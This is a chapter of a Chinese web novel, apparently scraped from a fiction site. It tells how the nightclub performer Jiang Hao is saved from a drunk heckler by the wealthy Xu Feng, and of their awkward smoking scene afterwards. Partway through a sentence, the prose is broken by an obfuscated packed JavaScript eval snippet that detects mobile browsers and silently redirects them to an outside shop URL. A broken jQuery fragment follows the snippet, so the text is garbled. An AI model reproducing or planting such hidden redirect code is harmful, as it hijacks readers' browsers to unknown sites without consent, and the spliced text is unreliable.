文趣网 > 都市小说 > 戏中人(娱乐圈) > 5. 创可贴
    很多观众不喜赵大鹏这么闹,交头接耳,议论纷纷。

    “这谁啊?这么横?”

    “江昊也倒霉,遇上这种人……”

    底下有人看不下去,喊了一嗓子:“哎,差不多得了!”

    赵大鹏回头瞪了一眼:“关你什么事?用得着你心疼?你是江昊什么人啊?”

    那人被他一瞪,不说话了。

    江昊低头看着那箱酒。

    他酒量向来很好,但被人这么逼,他一瓶都不想喝。今天看这架势,不知道得喝到多少瓶才行。

    陆小时从外面回来,对徐烽说了几句话。徐烽听完,拿起手机拨了一个号,简单说了几句,挂了。前后不超过一分钟。

    江昊俯身去拿啤酒,手刚摸到啤酒瓶,

    赵大鹏的手机响了,接起来,听了几句,脸一下就白了。

    “是是是……我知道了……”

    赵大鹏挂了电话,立马就软了。

    “兄、兄弟,”赵大鹏结结巴巴对江昊说,“对不住,我喝多了,别跟我一般见识。”

    江昊有些惊讶,把手里的酒放下,站直了身子。

    赵大鹏一个劲儿道歉:“今儿是我不懂事,你大人不记小人过,别往心里去!”

    一边说着,一边假装要抽自己嘴巴。

    江昊忙伸手去拦:“赵哥,你干嘛呀这是?”

    赵大鹏也没真抽自己,借势从箱子里拿出一瓶酒,用牙咬开瓶盖,“兄弟,啥也不说了,都在酒里!我给你赔罪!”

    一口气喝干一瓶,比刚才江昊喝得还快。

    “哎赵哥?”江昊忙拦着,“别喝了。”

    赵大鹏拎着空酒瓶,去看第一排正中间那人。

    徐烽根本不看赵大鹏,他在看江昊。

    赵大鹏顺着徐烽的眼神也跟着看了一眼江昊,一咬牙,拿起第二瓶啤酒,又灌了进去。

    去拿第三瓶的时候,一只手死死按住瓶子。

    江昊把酒瓶抢过来,放进啤酒箱里。

    “行了!到此为止。”

    于是徐烽点点头。

    赵大鹏如蒙大赦,松了一口气。

    江昊说:“赵哥,咱俩都消停消停,后面还有节目呢,别耽误观众们看节目。”

    观众也是会起哄的,立即有人说:“没事没事!我们看赵哥这个节目就挺好!”

    江昊跟观众说几句场面话,开开玩笑,这事就算翻篇。

    赵大鹏离开前,偷偷往徐烽那儿瞅。

    徐烽回了他一个眼神,看不出任何情绪。

    赵大鹏不敢上前搭讪,在脸上挤出一个僵硬的笑来,踉踉跄跄跑了出去。

    “跑什么跑!再喝一瓶啊!”有人在后面喊。

    “就是!你不是能喝吗?有种把这一箱都喝了再走!”有人把刚才赵大鹏的话还给他。

    观众嘻嘻哈哈看了场好戏。

    赵大鹏在众人的奚落声中,灰头土脸,头也不回,跑得比兔子还快。

    观众们哄笑起来。

    江昊看向徐烽。

    那个人安安静静坐着,像什么都没发生过一样。端起面前的茶杯,喝了一口,动作从容,不急不缓。从头到尾,他甚至没有站起来。

    这就是他的能量。

    江昊垂下眼,掩去眸中复杂神色,转身走进后台。

    帘幕合拢,遮住他的背影,那么瘦,又挺得那么直。

    后面的演出照常进行。

    杨雨燕上台,唱得一般,胜在长相甜美可爱,邻家小妹风格,给人一种亲切感。底下观众给面子,有些稀稀拉拉的掌声。

    江昊脱下女装,换上绒衣牛仔裤,坐在后台,一根接一根抽烟。脸上没什么表情,目光没有落点,脑海中反复想着刚才那一幕。

    想了一会,掏出手机上网搜徐烽,百度理想城项目,越看眉头皱得越紧。

    徐烽显然和被他打进医院的王老板,不是一个档次的,这回碰上硬茬子。

    赵大鹏这种人他不怕,他怕的是徐烽这种看似对他好的人。

    一旦欠了这种人的人情,那可不知道要怎么还了。

    更可怕的是,万一对方不用他还可怎么办?

    杨雨燕唱完下来,脸红扑扑的,跑到他面前:“昊哥!我唱完了!呜呜呜!”

    她激动得简直想哭。

    江昊“嗯”了一声。在女生面前,自动把烟掐了。

    “昊哥,我刚才真怕你下不来台,那人耍酒疯的样子吓死我了,要是我,我真不知道该怎么办。”

    江昊一副司空见惯的样子:“没事,不用担心,这种事都是冲男演员,不会冲女的,到时候你搭档也会护着你的。”

    “昊哥能不能跟我搭档啊?”杨雨燕怯怯地问。

    “不了,我跟红姐搭的。”江昊自己都不知道能唱到哪天,挣够钱就开烧烤店去了。

    “对了昊哥,我看见第一排那个人打了个电话,昊哥啥时候认识这么厉害的人啦?那人跟你什么关系啊?”

    江昊看了她一眼。

    那一眼不重,却让杨雨燕有点慌,她缩了缩脖子:“我、我就是随便问问,别生气嘛……”

    “我生什么气,我哪配生气。”

    江昊冷笑一声。

    “干服务行业的,迎来送往,被人随手欺负,再被人随手解救,都是常有的事,咋了,你不会还羡慕我吧?”

    杨雨燕歉意地吐了吐舌头,换衣服去了。

    后台只剩下江昊一个人。

    把摁灭的烟又点起来,抽完后,把烟蒂扔进脚下的垃圾桶。

    一眼瞥见垃圾桶里的创可贴。

    目光凝在那盒创可贴上,像被黏住一样,看了老半天。

    左右看了看,确定屋里没人,弯下身子,把创可贴从垃圾桶里捡回来。

    盒角磕瘪了。

    江昊用大拇指指腹蹭了蹭那块凹陷,试图把它抚平。越蹭越用力,指腹都蹭红了。

    再一次做贼心虚地环顾四周。

    拉开上衣最里面的内衬拉链,在最靠近心脏也最暖和的一层,把那个小硬盒塞了进去。

    隔着一层布料,硬盒的棱角硌着肋骨,有点疼。

    这点疼让他觉得踏实。

    做完这些,他的肩膀几不可察地垮了下来,用力揉了一把脸,重新挂上那副职业化的笑容。

    看起来,又是那个刀枪不入的江昊了。

    拿起一盒烟,像往常一样,走向楼梯口。

    楼梯口还是那么冷。

    冷风吹得人清醒了不少。

    江昊蹲在墙角,眯着眼,看着黑暗里那一点猩红。

    脚步声响起。

    他没抬头。

    那个人在他旁边停了一下,然后蹲下来。

    江昊用眼角余光瞟他。

    徐烽还是那件深灰色大衣。蹲在那儿,衣摆拖到地上。

    他真不适合像江昊一样蹲着,他似乎天生就该高高在上,被人仰视。

    两人沉默了一会儿。

    江昊知道自己此时应该跟他说声谢谢,咳了一声清清嗓子,就是说不出口。

    实在不知道怎么表达。

    只能把烟盒递过去。

    徐烽从里面抽出一根。

    “会抽啦?”江昊问。

    “应该吧。”徐烽老实回答。

    “什么叫应该?不会抽,你接我烟干什么?糟践我东西嘛?”江昊说话还是一如既往带刺,就算是没那个意思,说出来也跟怼人似的。

    徐烽直接用行动回答,把烟叼在嘴里。

    江昊掏出打火机,凑过去,给他点上。

    火苗跳跃的一瞬间,两人的脸离得很近。

    徐烽的眼睛很清澈,琥珀色的瞳孔,被火光照得微微发亮,像深潭中的一轮月。

    眉骨深邃,鼻梁处转折的线条,离近了看,英气逼人。

    江昊第一次发现徐烽其实长得不错。

    是那种很耐看,很有男人味的长相,跟自己那种完全不同,徐烽明显成熟多了,看着挺稳重。

    不知道为什么,忽然有些不敢多看。

    天天在台上演出,早习惯了看人,或者被人看,每天面对数

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883028|212491||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    百道目光,从来不觉得怎么样,此时面对徐烽一个人,竟然有些不敢看,移开目光收回打火机,重新蹲好,低着头,手指摸着地上的瓷砖缝,好像那里长出一朵花似的。

    徐烽吸了一口,果然呛着了。

    偏过头咳了几声,咳完又吸了一口。

    “不会抽就别抽了,”江昊忍不住开口,“烟那玩意儿有啥好抽的,能不沾就不沾。”

    徐烽像听见了什么天方夜谭一样转回头,好笑地看着他:“哟,你还知道啊?那你自己还抽?”

    “我跟你能一样嘛。”江昊调侃着,“我贱命一条,你是徐家大少爷嘛。”

    徐烽便闭了嘴。

    江昊说起正事:“刚才的事,是你帮忙的吧?”

    “没帮上什么。”

    “你打了个电话。”

    “那也不算什么。”

    江昊有些不知道该说什么好。

    以往别人帮了他,他是一定要加倍回报的,第一次遇见这种施恩不望报的,就像昨天晚上送他回家一样,江昊想不通徐烽为什么要把自己背上六楼,还收拾屋子,昨天不过是第一次见面而已。

    徐烽明显和以前认识的那些老板不一样,跟什么王老板、赵老板、各种老板,都不一样——江昊怀疑徐烽脑子有病。

    在夜场里学会的对付老板们的套路,在徐烽面前都失了效,江昊不知道该如何面对,越来越不自在,很想一走了之。

    就这么走了,又显得很没有礼貌。

    江昊虽然没念过什么书,但基本的做人道理还是知道的。第一条就是,别人怎么对你,你就怎么对别人。

    不管从哪个角度看,徐烽都对江昊挺好,至少表面上挺好。那么在江昊的观念里,自己就不能对徐烽不好。

    只能硬忍下不自在,继续蹲着,陪着,抽着。

    徐烽也不说什么,一直看着江昊。

    “你别老看我。”

    “你老看我,”江昊说,“我不知道该往哪儿看。”

    徐烽笑了一下,很轻,几乎听不见。

    然后说:“那你也看我好了。”

    江昊立刻摇头:“咱俩一起搁这儿蹲着抽烟,那还挺正常,让人觉得就是两个烟民,咱俩要是对望着抽烟,那就是从精神病院跑出两个人了。”

    徐烽噗嗤一声笑了。

    江昊被他笑得发毛,心想这有啥好笑的,这人笑点也太低,怪不得在台下的时候,看我演啥都能笑。

    转过头去,自顾自抽烟。

    抽完一根,站起来,把烟盒塞进裤兜,顺势说:“很晚了,我回家了。”

    徐烽也跟着站起来:“我开车送你吧。”

    “不用。”江昊想也没想地拒绝。

    昨天是喝多了才让他进了家门,今天清醒了,绝对不能让他再进自己家。自己家那么破,也确实不适合招待徐烽这样的人。

    “这样的人”到底是什么人,江昊又说不清了。反正就是,不能和“这样的人”牵扯太深。

    剧场楼梯口的灯很昏暗,把两个人的影子拉得很长,交叠在一起。

    江昊冲徐烽摆摆手:“走了哈。”

    说完向灯光更暗的地方走去。

    徐烽望着他的背影,看了半天,喊了一声:

    “江昊!我明天还会来的!”

    江昊脚步停了一瞬,背对着徐烽。灯光射过来,在他脚下投出影子。

    他点头表示听见。

    继续往前走。

    拐了个弯,在徐烽看不见的地方,停了下来。

    戏还没散场,这里暂时没有人。

    寒风从窗户缝隙灌进来,有点冷。

    江昊靠在墙上,想起刚才赵大鹏道歉的时候,他心里悄悄升起一股渴望。

    渴望拥有徐烽那样的力量,渴望能混出个人样。

    不仅是有钱,还有想干什么就干什么的能力。

    那样的话,他或许就能和徐烽平等相交,他就能坦然。

    江昊把手伸进上衣最里面的内衬。

    那里,有一个小小的硬盒,正硌着心口。